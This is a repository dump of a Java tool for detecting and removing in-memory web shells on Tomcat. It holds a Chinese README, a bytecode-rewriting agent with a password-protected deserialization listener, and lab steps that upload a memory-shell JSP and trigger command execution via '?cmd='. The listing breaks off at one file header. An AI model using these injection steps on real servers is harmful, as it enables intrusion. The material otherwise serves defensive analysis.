├── .gitignore ├── LICENSE ├── README.md ├── agent ├── pom.xml └── src │ └── main │ └── java │ └── com │ └── n1ar4 │ └── agent │ ├── Agent.java │ ├── Main.java │ ├── asm │ ├── FilterKillClassVisitor.java │ ├── ListenerKillClassVisitor.java │ ├── ServletKillClassVisitor.java │ └── ValveKillClassVisitor.java │ ├── core │ └── Task.java │ ├── test │ └── TestValve.java │ ├── transform │ ├── CoreTransformer.java │ ├── FilterKill.java │ ├── ListenerKill.java │ ├── ServletKill.java │ └── ValveKill.java │ └── util │ └── FilterObjectInputStream.java ├── gui ├── lib │ ├── README.md │ └── syntax-panel.jar ├── pom.xml └── src │ └── main │ └── java │ └── com │ └── n1ar4 │ ├── Application.java │ ├── cmd │ ├── SocketTest.java │ └── Test.java │ ├── form │ ├── ShellForm.form │ └── ShellForm.java │ ├── model │ ├── ClassObj.java │ └── ProcessObj.java │ └── start │ └── SocketHelper.java ├── img ├── 0000.jpg ├── 0002.jpg ├── 0003.jpg ├── 0004.jpg ├── 0005.png ├── 0006.png └── 0007.png ├── memshell ├── README.md ├── filter.jsp ├── listener.jsp ├── servlet.jsp └── valve.jsp ├── pom.xml └── remote ├── README.md ├── pom.xml └── src └── main └── java └── com └── n1ar4 └── RemoteLoader.java /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 4ra1n 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## shell-analyzer 2 | ![](https://img.shields.io/badge/build-passing-brightgreen) 3 | ![](https://img.shields.io/badge/build-Java%208-orange) 4 | ![](https://img.shields.io/github/downloads/4ra1n/shell-analyzer/total) 5 | ![](https://img.shields.io/github/v/release/4ra1n/shell-analyzer) 6 | 7 | **注意:请勿在生产环境使用,存在打崩业务的风险,目前适用于自己搭建靶机分析学习** 8 | 9 | ### 介绍 10 | 11 | 关于`Java Web`内存马查杀的文章和工具已经有不少,不过大都不够完善,各有缺点; 12 | 于是我做了一款`GUI`版本的实时内存马查杀工具,支持本地查杀与远程查杀; 13 | 仅测试了`Tomcat`这一种中间件,不过理论上任何实现了`Servlet`规范的中间件都可以查杀 14 | 15 | 优势: 16 | - 实时监控目标`JVM` 17 | - 一键反编译分析代码 18 | - 一键查杀内存马 19 | 20 | ![](img/0000.jpg) 21 | 22 | 本地查杀演示视频:https://www.bilibili.com/video/BV1ZM411e7Rr 23 | 24 | 远程查杀演示视频:https://www.bilibili.com/video/BV1L24y1q7so 25 | 26 | 本工具的一些介绍: 27 | - [内存马检测工具shell-analyzer(1)最初版展示与设计思路](https://mp.weixin.qq.com/s/vb0WlgylO7jnbpfh8YnNXQ) 28 | - [内存马检测工具shell-analyzer(2)远程查杀实现](https://mp.weixin.qq.com/s/vJAZRtP5DW-CHjGKLX3GrQ) 29 | 30 | ### 原理 31 | 32 | 将`Agent`动态`Attach`到目标后会开启一个端口(10032)监听: 33 | - 该端口会反序列化收到的数据,然后处理,我已经给反序列化设置了白名单进行保护 34 | - 启动`Agent`时会设置密码,如果客户端连接密码不匹配将无法获得数据 35 | - 为什么选择 10032 端口,因为这个数字代表一个 36 | 37 | ![](img/0005.png) 38 | 39 | 该端口用于实时接受指令并处理后返回数据,图中是部分指令(不完全) 40 | 41 | ![](img/0006.png) 42 | 43 | 支持一键查杀的内存马类型 44 | 45 | | 类型 | 类名 | 方法名 | 46 | |:---------|:-------------------------------------|:-------------------| 47 | | Filter | javax.servlet.Filter | doFilter | 48 | | Filter | javax.servlet.http.HttpFilter | doFilter | 49 | | Servlet | javax.servlet.Servlet | service | 50 | | Servlet | javax.servlet.http.HttpServlet | doGet | 51 | | Servlet | javax.servlet.http.HttpServlet | doPost | 52 | | Servlet | javax.servlet.http.HttpServlet | doHead | 53 | | Servlet | javax.servlet.http.HttpServlet | doPut | 54 | | Servlet | javax.servlet.http.HttpServlet | doDelete | 55 | | Servlet | javax.servlet.http.HttpServlet | doTrace | 56 | | Servlet | javax.servlet.http.HttpServlet | doOptions | 57 | | Listener | javax.servlet.ServletRequestListener | requestDestroyed | 58 | | Listener | javax.servlet.ServletRequestListener | requestInitialized | 59 | | Valve | org.apache.catalina.Valve | invoke | 60 | 61 | ### 本地使用 62 | 63 | 提供了三个`jar`文件: 64 | - `agent.jar`是核心文件,请保持与`gui.jar`或`remote.jar`同目录 65 | - `gui.jar`是GUI客户端,本地和远程分析都需要 66 | - `remote.jar`用于远程分析,本地分析无需下载 67 | 68 | 注意使用`JDK\bin\java.exe`启动并添加`tools.jar`到`classpath`中 69 | 70 | Windows CMD 示例: 71 | 72 | ```shell 73 | "C:\Program Files\Java\jdk1.8.0_131\bin\java.exe" -cp "C:\Program Files\Java\jdk1.8.0_131\lib\tools.jar;gui-0.1.jar" com.n1ar4.Application 74 | ``` 75 | 76 | Windows Powershell 示例: 77 | 78 | ```shell 79 | & "C:\Program Files\Java\jdk1.8.0_131\bin\java.exe" -cp "C:\Program Files\Java\jdk1.8.0_131\lib\tools.jar;gui-0.1.jar" com.n1ar4.Application 80 | ``` 81 | 82 | Linux (Ubuntu) 示例: 83 | 84 | ```shell 85 | jdk1.8.0_202/bin/java -cp jdk1.8.0_202/lib/tools.jar:gui-0.1.jar com.n1ar4.Application 86 | ``` 87 | 88 | Mac OS 示例: 89 | 90 | ```shell 91 | /Library/Java/JavaVirtualMachines/jdk1.8.0_202.jdk/Contents/Home/bin/java -cp /Library/Java/JavaVirtualMachines/jdk1.8.0_202.jdk/Contents/Home/lib/tools.jar:gui-0.1.jar com.n1ar4.Application 92 | ``` 93 | 94 | (1) 第一步:检测进程并`Attach` 95 | 96 | ![](img/0003.jpg) 97 | 98 | 为了防止目标被恶意利用,需要输入一个密码 99 | 100 | **注意:尽管使用了密码保护,但还是存在拒绝服务等风险,请勿在生产环境使用,目前适用于自己搭建靶机分析学习** 101 | 102 | (2) 第二步:勾选并分析 103 | 104 | 点击**刷新**即可获得实时的数据 105 | 106 | (3) 双击任意一个类即可`Dump`并反编译 107 | 108 | (4) 复制类名过去即可修复内存马 109 | 110 | ![](img/0004.jpg) 111 | 112 | ### 远程连接 113 | 114 | **注意:请不要在真实环境/生产环境下使用,存在打崩业务的可能,目前适用于自己搭建靶机分析学习** 115 | 116 | 仅测试了`JDK`版本为8的情况 117 | 118 | 客户端`java -jar gui.jar`即可 119 | 120 | (因为不对本地分析,仅用于发送和接收socket数据,所以可以不将`tools.jar`加入`classpath`) 121 | 122 | 服务端确保`Tomcat`端口和 10032 端口开放 123 | 124 | ![](img/0007.png) 125 | 126 | 可以手动将`Oracle JDK 8`传过去(没有测试过`OpenJDK`等版本) 127 | 128 | 可以前往 [Oracle JDK 8](https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html) 下载 129 | 130 | ```shell 131 | scp /your-path/jdk-8u202-linux-x64.tar.gz root@ip:/ 132 | ssh root@ip 133 | cd / 134 | tar -zxvf jdk-8u202-linux-x64.tar.gz 135 | ``` 136 | 137 | 下载并启动目标的`Tomcat`(测试使用) 138 | 139 | ```shell 140 | cd / 141 | wget https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.71/bin/apache-tomcat-9.0.71.tar.gz --no-check-certificate 142 | tar -zxvf apache-tomcat-9.0.71.tar.gz 143 | export JAVA_HOME=/jdk1.8.0_202 144 | ./apache-tomcat-9.0.71/bin/startup.sh 145 | ``` 146 | 147 | 上传`agent.jar`和`remote.jar` 148 | 149 | ```shell 150 | scp /your-path/agent.jar root@ip:/agent.jar 151 | scp /your-path/remote.jar root@ip:/remote.jar 152 | ``` 153 | 154 | 可以传过去一个内存马测试 155 | 156 | ```shell 157 | scp /your-path/filter.jsp root@ip:/apache-tomcat-9.0.71/webapps/ROOT/1.jsp 158 | ``` 159 | 160 | 访问`http://ip:port/1.jsp`注入并测试`http://ip:port?cmd=xxx` 161 | 162 | 先使用`jps`拿到`PID`然后注入`Agent` 163 | 164 | ```shell 165 | /jdk1.8.0_202/bin/jps 166 | /jdk1.8.0_202/bin/java -cp /remote.jar:/jdk1.8.0_202/lib/tools.jar com.n1ar4.RemoteLoader [PID] [8位密码] 167 | ``` 168 | 169 | 输出以下内容说明成功 170 | 171 | ```shell 172 | attach pid: [PID] 173 | password: [8位密码] 174 | success 175 | ``` 176 | 177 | 打开本工具,输入`IP`和上文的`8位密码`后,进行分析和查杀即可 178 | 179 | ![](img/0002.jpg) 180 | -------------------------------------------------------------------------------- /agent/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | com.n1ar4 7 | agent 8 | 0.1 9 | jar 10 | 11 | 12 | 8 13 | 8 14 | 8 15 | UTF-8 16 | 17 | 18 | 19 | 20 | javax.servlet 21 | javax.servlet-api 22 | 4.0.1 23 | compile 24 | 25 | 26 | org.ow2.asm 27 | asm 28 | 9.2 29 | 30 | 31 | org.apache.tomcat 32 | tomcat-catalina 33 | 9.0.45 34 | compile 35 | 36 | 37 | 38 | 39 | agent 40 | 41 | 42 | org.apache.maven.plugins 43 | maven-compiler-plugin 44 | 3.8.1 45 | 46 | ${java.version} 47 | ${java.version} 48 | 49 | 50 | 51 | org.apache.maven.plugins 52 | maven-assembly-plugin 53 | 54 | ../ 55 | 56 | 57 | com.n1ar4.agent.Main 58 | 59 | 60 | com.n1ar4.agent.Agent 61 | true 62 | true 63 | 64 | 65 | 66 | jar-with-dependencies 67 | 68 | 69 | 70 | 71 | make-assembly 72 | package 73 | 74 | single 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | -------------------------------------------------------------------------------- /agent/src/main/java/com/n1ar4/agent/Agent.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.agent; 2 | 3 | import com.n1ar4.agent.core.Task; 4 | 5 | import java.lang.instrument.Instrumentation; 6 | import java.net.ServerSocket; 7 | import java.net.Socket; 8 | 9 | public class Agent { 10 | public static String PASSWORD; 11 | public static Instrumentation staticIns; 12 | public static Class[] staticClasses; 13 | 14 | @SuppressWarnings("all") 15 | public static void agentmain(String agentArgs, Instrumentation ins) { 16 | if (agentArgs == null || agentArgs.trim().equals("")) { 17 | return; 18 | } 19 | if (agentArgs.length() != 8) { 20 | return; 21 | } 22 | PASSWORD = agentArgs; 23 | staticIns = ins; 24 | staticClasses = (Class[]) ins.getAllLoadedClasses(); 25 | new Thread(() -> { 26 | try { 27 | int port = 10032; 28 | ServerSocket s = null; 29 | try { 30 | s = new ServerSocket(port); 31 | } catch (Exception e) { 32 | return; 33 | } finally { 34 | if (s != null) { 35 | s.close(); 36 | } 37 | } 38 | ServerSocket ss = new ServerSocket(port); 39 | while (true) { 40 | Socket socket = ss.accept(); 41 | new Thread(new Task(socket)).start(); 42 | } 43 | } catch (Exception ex) { 44 | ex.printStackTrace(); 45 | } 46 | }).start(); 47 | } 48 | } -------------------------------------------------------------------------------- /agent/src/main/java/com/n1ar4/agent/Main.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.agent; 2 | 3 | public class Main { 4 | public static void main(String[] args) { 5 | System.out.println("##################################"); 6 | System.out.println("THIS IS AN AGENT"); 7 | System.out.println("DO NOT USE THIS JAR"); 8 | System.out.println("use: java -jar shell-analyzer.jar"); 9 | System.out.println("##################################"); 10 | } 11 | } -------------------------------------------------------------------------------- /agent/src/main/java/com/n1ar4/agent/asm/FilterKillClassVisitor.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.agent.asm; 2 | 3 | import org.objectweb.asm.ClassVisitor; 4 | import org.objectweb.asm.MethodVisitor; 5 | 6 | import static org.objectweb.asm.Opcodes.*; 7 | 8 | public class FilterKillClassVisitor extends ClassVisitor { 9 | public FilterKillClassVisitor(int api, ClassVisitor classVisitor) { 10 | super(api, classVisitor); 11 | } 12 | 13 | @Override 14 | public MethodVisitor visitMethod(int access, String name, String descriptor, 15 | String signature, String[] exceptions) { 16 | MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); 17 | // Filter 接口的处理 18 | if (mv != null && name.equals("doFilter") && 19 | descriptor.equals("(Ljavax/servlet/ServletRequest;" + 20 | "Ljavax/servlet/ServletResponse;Ljavax/servlet/FilterChain;)V")) { 21 | mv.visitCode(); 22 | mv.visitVarInsn(ALOAD, 3); 23 | mv.visitVarInsn(ALOAD, 1); 24 | mv.visitVarInsn(ALOAD, 2); 25 | mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/FilterChain", 26 | "doFilter", "(Ljavax/servlet/ServletRequest;" + 27 | "Ljavax/servlet/ServletResponse;)V", true); 28 | mv.visitInsn(RETURN); 29 | mv.visitMaxs(3, 4); 30 | mv.visitEnd(); 31 | return mv; 32 | } 33 | // HttpServlet 子类 34 | if (mv != null && name.equals("doFilter") && 35 | descriptor.equals("(Ljavax/servlet/http/HttpServletRequest;" + 36 | "Ljavax/servlet/http/HttpServletResponse;Ljavax/servlet/FilterChain;)V")) { 37 | mv.visitCode(); 38 | mv.visitVarInsn(ALOAD, 3); 39 | mv.visitVarInsn(ALOAD, 1); 40 | mv.visitVarInsn(ALOAD, 2); 41 | mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/FilterChain", "doFilter", 42 | "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V", true); 43 | mv.visitInsn(RETURN); 44 | mv.visitMaxs(3, 4); 45 | mv.visitEnd(); 46 | return mv; 47 | } 48 | return mv; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /agent/src/main/java/com/n1ar4/agent/asm/ListenerKillClassVisitor.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.agent.asm; 2 | 3 | import org.objectweb.asm.ClassVisitor; 4 | import org.objectweb.asm.MethodVisitor; 5 | 6 | import static org.objectweb.asm.Opcodes.*; 7 | 8 | public class ListenerKillClassVisitor extends ClassVisitor { 9 | public ListenerKillClassVisitor(int api, ClassVisitor classVisitor) { 10 | super(api, classVisitor); 11 | } 12 | 13 | @Override 14 | public MethodVisitor visitMethod(int access, String name, String descriptor, 15 | String signature, String[] exceptions) { 16 | MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); 17 | if (mv != null && (name.equals("requestDestroyed") || name.equals("requestInitialized")) && 18 | descriptor.equals("(Ljavax/servlet/ServletRequestEvent;)V")) { 19 | mv.visitCode(); 20 | mv.visitInsn(RETURN); 21 | mv.visitMaxs(0, 2); 22 | mv.visitEnd(); 23 | return mv; 24 | } 25 | return mv; 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /agent/src/main/java/com/n1ar4/agent/asm/ServletKillClassVisitor.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.agent.asm; 2 | 3 | import org.objectweb.asm.ClassVisitor; 4 | import org.objectweb.asm.MethodVisitor; 5 | 6 | import static org.objectweb.asm.Opcodes.*; 7 | 8 | public class ServletKillClassVisitor extends ClassVisitor { 9 | public ServletKillClassVisitor(int api, ClassVisitor classVisitor) { 10 | super(api, classVisitor); 11 | } 12 | 13 | @Override 14 | public MethodVisitor visitMethod(int access, String name, String descriptor, 15 | String signature, String[] exceptions) { 16 | MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); 17 | // Servlet service 18 | if (mv != null && name.equals("service") && 19 | descriptor.equals("(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V")) { 20 | mv.visitCode(); 21 | mv.visitInsn(RETURN); 22 | mv.visitMaxs(0, 3); 23 | mv.visitEnd(); 24 | return mv; 25 | } 26 | // HttpServlet doAny 27 | if (mv != null && (name.equals("doGet") || name.equals("doPost") 28 | || name.equals("doDelete") || name.equals("doHead") || name.equals("doOptions") 29 | || name.equals("doPut") || name.equals("doTrace")) && 30 | descriptor.equals("(Ljavax/servlet/http/HttpServletRequest;" + 31 | "Ljavax/servlet/http/HttpServletResponse;)V")) { 32 | mv.visitCode(); 33 | mv.visitInsn(RETURN); 34 | mv.visitMaxs(0, 3); 35 | mv.visitEnd(); 36 | } 37 | return mv; 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /agent/src/main/java/com/n1ar4/agent/asm/ValveKillClassVisitor.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.agent.asm; 2 | 3 | import org.objectweb.asm.ClassVisitor; 4 | import org.objectweb.asm.MethodVisitor; 5 | 6 | import static org.objectweb.asm.Opcodes.*; 7 | 8 | public class ValveKillClassVisitor extends ClassVisitor { 9 | private String owner; 10 | 11 | public ValveKillClassVisitor(int api, ClassVisitor classVisitor) { 12 | super(api, classVisitor); 13 | } 14 | 15 | @Override 16 | public void visit(int version, int access, String name, 17 | String signature, String superName, String[] interfaces) { 18 | name = name.replace(".", "/"); 19 | this.owner = name; 20 | super.visit(version, access, name, signature, superName, interfaces); 21 | } 22 | 23 | @Override 24 | public MethodVisitor visitMethod(int access, String name, String descriptor, 25 | String signature, String[] exceptions) { 26 | MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); 27 | // Valve invoke 28 | if (mv != null && name.equals("invoke") && 29 | descriptor.equals("(Lorg/apache/catalina/connector/Request;" + 30 | "Lorg/apache/catalina/connector/Response;)V")) { 31 | mv.visitCode(); 32 | mv.visitVarInsn(ALOAD, 0); 33 | mv.visitMethodInsn(INVOKEVIRTUAL, owner, 34 | "getNext", "()Lorg/apache/catalina/Valve;", false); 35 | mv.visitVarInsn(ALOAD, 1); 36 | mv.visitVarInsn(ALOAD, 2); 37 | mv.visitMethodInsn(INVOKEINTERFACE, "org/apache/catalina/Valve", 38 | "invoke", "(Lorg/apache/catalina/connector/Request;" + 39 | "Lorg/apache/catalina/connector/Response;)V", true); 40 | mv.visitInsn(RETURN); 41 | mv.visitMaxs(3, 3); 42 | mv.visitEnd(); 43 | return mv; 44 | } 45 | return mv; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /agent/src/main/java/com/n1ar4/agent/core/Task.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.agent.core; 2 | 3 | import com.n1ar4.agent.transform.*; 4 | import com.n1ar4.agent.util.FilterObjectInputStream; 5 | import com.n1ar4.agent.Agent; 6 | 7 | import java.io.*; 8 | import java.net.Socket; 9 | import java.util.ArrayList; 10 | import java.util.List; 11 | 12 | public class Task implements Runnable { 13 | private final Socket socket; 14 | 15 | public Task(Socket socket) { 16 | this.socket = socket; 17 | } 18 | 19 | @Override 20 | public void run() { 21 | try { 22 | handleSocket(); 23 | } catch (Exception ex) { 24 | ex.printStackTrace(); 25 | } 26 | } 27 | 28 | private void handleSocket() throws Exception { 29 | ObjectInputStream ois; 30 | try { 31 | ois = new FilterObjectInputStream(socket.getInputStream()); 32 | } catch (Exception ex) { 33 | return; 34 | } 35 | String targetClass = (String) ois.readObject(); 36 | 37 | if (targetClass.startsWith("")) { 38 | String PASS = targetClass.split("")[1]; 39 | if (!PASS.equals(Agent.PASSWORD)) { 40 | System.out.println("!!! ERROR PASSWORD"); 41 | return; 42 | } 43 | List classNameList = new ArrayList<>(); 44 | for (Class c : Agent.staticClasses) { 45 | if (c.getName().startsWith("[")) { 46 | continue; 47 | } 48 | if (c.getName().contains("$$Lambda")) { 49 | continue; 50 | } 51 | classNameList.add(c.getName()); 52 | } 53 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 54 | ObjectOutputStream oos = new ObjectOutputStream(bao); 55 | oos.writeObject(classNameList); 56 | System.out.println("write data to socket: " + classNameList.size()); 57 | socket.getOutputStream().write(bao.toByteArray()); 58 | return; 59 | } 60 | 61 | if (targetClass.startsWith("")) { 62 | String PASS = targetClass.split("")[1]; 63 | if (!PASS.equals(Agent.PASSWORD)) { 64 | System.out.println("!!! ERROR PASSWORD"); 65 | return; 66 | } 67 | List classList = new ArrayList<>(); 68 | for (Class c : Agent.staticClasses) { 69 | try { 70 | ClassLoader classLoader; 71 | if (c.getClassLoader() != null) { 72 | classLoader = c.getClassLoader(); 73 | } else { 74 | classLoader = Thread.currentThread().getContextClassLoader(); 75 | } 76 | 77 | Class clsFilter = null; 78 | try { 79 | clsFilter = classLoader.loadClass("javax.servlet.Filter"); 80 | } catch (Exception ignored) { 81 | } 82 | 83 | if (clsFilter != null && clsFilter.isAssignableFrom(c)) { 84 | classList.add(c.getName()); 85 | } 86 | } catch (Exception ignored) { 87 | } 88 | } 89 | 90 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 91 | ObjectOutputStream oos = new ObjectOutputStream(bao); 92 | oos.writeObject(classList); 93 | System.out.println("write data to socket: " + classList.size()); 94 | socket.getOutputStream().write(bao.toByteArray()); 95 | return; 96 | } 97 | 98 | if (targetClass.startsWith("")) { 99 | String PASS = targetClass.split("")[1]; 100 | if (!PASS.equals(Agent.PASSWORD)) { 101 | System.out.println("!!! ERROR PASSWORD"); 102 | return; 103 | } 104 | List classList = new ArrayList<>(); 105 | for (Class c : Agent.staticClasses) { 106 | try { 107 | ClassLoader classLoader; 108 | if (c.getClassLoader() != null) { 109 | classLoader = c.getClassLoader(); 110 | } else { 111 | classLoader = Thread.currentThread().getContextClassLoader(); 112 | } 113 | 114 | Class clsFilter = null; 115 | try { 116 | clsFilter = classLoader.loadClass("org.apache.catalina.Valve"); 117 | } catch (Exception ignored) { 118 | } 119 | 120 | if (clsFilter != null && clsFilter.isAssignableFrom(c)) { 121 | classList.add(c.getName()); 122 | } 123 | } catch (Exception ignored) { 124 | } 125 | } 126 | 127 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 128 | ObjectOutputStream oos = new ObjectOutputStream(bao); 129 | oos.writeObject(classList); 130 | System.out.println("write data to socket: " + classList.size()); 131 | socket.getOutputStream().write(bao.toByteArray()); 132 | return; 133 | } 134 | 135 | if (targetClass.startsWith("")) { 136 | String PASS = targetClass.split("")[1]; 137 | if (!PASS.equals(Agent.PASSWORD)) { 138 | System.out.println("!!! ERROR PASSWORD"); 139 | return; 140 | } 141 | List classList = new ArrayList<>(); 142 | for (Class c : Agent.staticClasses) { 143 | try { 144 | ClassLoader classLoader; 145 | if (c.getClassLoader() != null) { 146 | classLoader = c.getClassLoader(); 147 | } else { 148 | classLoader = Thread.currentThread().getContextClassLoader(); 149 | } 150 | 151 | Class clsFilter = null; 152 | try { 153 | clsFilter = classLoader.loadClass("javax.servlet.Servlet"); 154 | } catch (Exception ignored) { 155 | } 156 | 157 | if (clsFilter != null && clsFilter.isAssignableFrom(c)) { 158 | classList.add(c.getName()); 159 | } 160 | } catch (Exception ignored) { 161 | } 162 | } 163 | 164 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 165 | ObjectOutputStream oos = new ObjectOutputStream(bao); 166 | oos.writeObject(classList); 167 | System.out.println("write data to socket: " + classList.size()); 168 | socket.getOutputStream().write(bao.toByteArray()); 169 | return; 170 | } 171 | 172 | if (targetClass.startsWith("")) { 173 | String PASS = targetClass.split("")[1]; 174 | if (!PASS.equals(Agent.PASSWORD)) { 175 | System.out.println("!!! ERROR PASSWORD"); 176 | return; 177 | } 178 | List classList = new ArrayList<>(); 179 | for (Class c : Agent.staticClasses) { 180 | try { 181 | ClassLoader classLoader; 182 | if (c.getClassLoader() != null) { 183 | classLoader = c.getClassLoader(); 184 | } else { 185 | classLoader = Thread.currentThread().getContextClassLoader(); 186 | } 187 | 188 | Class clsFilter = null; 189 | try { 190 | clsFilter = classLoader.loadClass("javax.servlet.ServletRequestListener"); 191 | } catch (Exception ignored) { 192 | } 193 | 194 | if (clsFilter != null && clsFilter.isAssignableFrom(c)) { 195 | classList.add(c.getName()); 196 | } 197 | } catch (Exception ignored) { 198 | } 199 | } 200 | 201 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 202 | ObjectOutputStream oos = new ObjectOutputStream(bao); 203 | oos.writeObject(classList); 204 | System.out.println("write data to socket: " + classList.size()); 205 | socket.getOutputStream().write(bao.toByteArray()); 206 | return; 207 | } 208 | 209 | if (targetClass.startsWith("")) { 210 | String f = targetClass.split("")[1]; 211 | if (!f.split("\\|")[0].equals(Agent.PASSWORD)) { 212 | System.out.println("!!! ERROR PASSWORD"); 213 | return; 214 | } 215 | f = f.split("\\|")[1]; 216 | System.out.println("kill filter: " + f); 217 | FilterKill fk = new FilterKill(f); 218 | for (Class c : Agent.staticClasses) { 219 | if (c.getName().equals(f)) { 220 | Agent.staticIns.addTransformer(fk, true); 221 | Agent.staticIns.retransformClasses(c); 222 | Agent.staticIns.removeTransformer(fk); 223 | } 224 | } 225 | } 226 | 227 | if (targetClass.startsWith("")) { 228 | String s = targetClass.split("")[1]; 229 | if (!s.split("\\|")[0].equals(Agent.PASSWORD)) { 230 | System.out.println("!!! ERROR PASSWORD"); 231 | return; 232 | } 233 | s = s.split("\\|")[1]; 234 | System.out.println("kill servlet: " + s); 235 | ServletKill sk = new ServletKill(s); 236 | for (Class c : Agent.staticClasses) { 237 | if (c.getName().equals(s)) { 238 | Agent.staticIns.addTransformer(sk, true); 239 | Agent.staticIns.retransformClasses(c); 240 | Agent.staticIns.removeTransformer(sk); 241 | } 242 | } 243 | } 244 | 245 | if (targetClass.startsWith("")) { 246 | String s = targetClass.split("")[1]; 247 | if (!s.split("\\|")[0].equals(Agent.PASSWORD)) { 248 | System.out.println("!!! ERROR PASSWORD"); 249 | return; 250 | } 251 | s = s.split("\\|")[1]; 252 | System.out.println("kill listener: " + s); 253 | ListenerKill sk = new ListenerKill(s); 254 | for (Class c : Agent.staticClasses) { 255 | if (c.getName().equals(s)) { 256 | Agent.staticIns.addTransformer(sk, true); 257 | Agent.staticIns.retransformClasses(c); 258 | Agent.staticIns.removeTransformer(sk); 259 | } 260 | } 261 | } 262 | 263 | if (targetClass.startsWith("")) { 264 | String s = targetClass.split("")[1]; 265 | if (!s.split("\\|")[0].equals(Agent.PASSWORD)) { 266 | System.out.println("!!! ERROR PASSWORD"); 267 | return; 268 | } 269 | s = s.split("\\|")[1]; 270 | System.out.println("kill valve: " + s); 271 | ValveKill sk = new ValveKill(s); 272 | for (Class c : Agent.staticClasses) { 273 | if (c.getName().equals(s)) { 274 | Agent.staticIns.addTransformer(sk, true); 275 | Agent.staticIns.retransformClasses(c); 276 | Agent.staticIns.removeTransformer(sk); 277 | } 278 | } 279 | } 280 | 281 | if (!targetClass.split("\\|")[0].equals(Agent.PASSWORD)) { 282 | return; 283 | } 284 | targetClass = targetClass.split("\\|")[1]; 285 | for (Class c : Agent.staticClasses) { 286 | if (c.getName().equals(targetClass)) { 287 | CoreTransformer coreTransformer = new CoreTransformer(targetClass); 288 | Agent.staticIns.addTransformer(coreTransformer, true); 289 | Agent.staticIns.retransformClasses(c); 290 | 291 | if (coreTransformer.data != null && coreTransformer.data.length != 0) { 292 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 293 | ObjectOutputStream oos = new ObjectOutputStream(bao); 294 | oos.writeObject(coreTransformer.data); 295 | System.out.println("write data to socket: " + coreTransformer.data.length); 296 | socket.getOutputStream().write(bao.toByteArray()); 297 | } 298 | Agent.staticIns.removeTransformer(coreTransformer); 299 | } 300 | } 301 | } 302 | } 303 | -------------------------------------------------------------------------------- /agent/src/main/java/com/n1ar4/agent/test/TestValve.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.agent.test; 2 | 3 | import org.apache.catalina.connector.Request; 4 | import org.apache.catalina.connector.Response; 5 | import org.apache.catalina.valves.ValveBase; 6 | 7 | import javax.servlet.ServletException; 8 | import java.io.IOException; 9 | 10 | public class TestValve extends ValveBase { 11 | 12 | @Override 13 | public void invoke(Request request, Response response) 14 | throws IOException, ServletException { 15 | this.getNext().invoke(request, response); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /agent/src/main/java/com/n1ar4/agent/transform/CoreTransformer.java: -------------------------------------------------------------------------------- 1 | package com.n1ar4.agent.transform; 2 | 3 | 4 | import java.lang.instrument.ClassFileTransformer; 5 | import java.security.ProtectionDomain; 6 | 7 | 8 | public class CoreTransformer implements ClassFileTransformer { 9 | 10 | private final String targetClass; 11 | 12 | public byte[] data; 13 | 14 | public CoreTransformer(String targetClass) { 15 | this.targetClass = targetClass; 16 | } 17 | 18 | @Override 19 | public byte[] transform(ClassLoader loader, 20 | String className, 21 | Class classBeingRedefined, 22 | ProtectionDomain protectionDomain, 23 | byte[] classfileBuffer) { 24 | className = className.replace("/", "."); 25 | if (className.equals(targetClass)) { 26 | System.out.println("get bytecode form: " + className); 27 | data = new byte[classfileBuffer.length+1]; 28 | System.arraycopy(classfileBuffer, 0, data, 0, classfileBuffer.length); 29 | System.out.println("bytecode length: "+data.length); 30 | } 31 | return classfileBuffer; 32 | } 33 | } -------------------------------------------------------------------------------- /agent/src/main/java/com/n1ar4/agent/transform/FilterKill.java: 